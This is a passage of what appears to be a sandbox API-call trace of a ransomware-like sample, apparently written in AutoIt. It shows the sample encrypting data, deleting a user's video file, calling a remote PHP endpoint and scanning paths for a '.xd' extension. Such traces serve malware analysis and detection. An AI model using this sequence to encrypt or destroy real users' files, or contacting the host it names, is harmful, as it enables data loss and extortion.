wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.491] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621690, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.492] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x5687, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x5690) returned 1 [0065.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.492] CharLowerBuffW (in: lpsz="byte[22161]", cchLength=0xb | out: lpsz="byte[22161]") returned 0xb [0065.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.493] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.493] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.493] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.494] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.494] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18826a0*, pdwDataLen=0x130e618*=0x5687, dwBufLen=0x5690 | out: pbData=0x18826a0*, pdwDataLen=0x130e618*=0x5690) returned 1 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.494] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.494] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.495] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.495] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.495] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.495] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.495] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.496] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.496] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.496] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x5690, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x5690, lpOverlapped=0x0) returned 1 [0065.501] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.501] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.501] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.501] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.501] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.501] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.502] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.502] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0065.502] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.502] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.502] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.502] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.502] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.502] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.502] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.502] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.503] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.503] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.503] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.503] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.503] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.503] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.503] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.503] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.503] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.503] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.503] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0065.503] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.504] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.504] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.504] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.504] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.504] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.504] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.504] CloseHandle (hObject=0x3bc) returned 1 [0065.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.525] CloseHandle (hObject=0x2ac) returned 1 [0065.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.528] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", lpFilePart=0x0) returned 0x34 [0065.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\8tbbt0grngqj6hkhh87.avi")) returned 0x20 [0065.529] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0065.529] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\8tbbt0grngqj6hkhh87.avi")) returned 1 [0065.534] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.535] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0065.539] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.539] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.540] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.540] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.540] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.540] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.541] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.541] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.541] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.541] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.541] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.541] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0065.542] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.542] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.542] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.544] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.544] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.544] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.544] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.545] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.546] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.546] CloseHandle (hObject=0x0) returned 0 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", 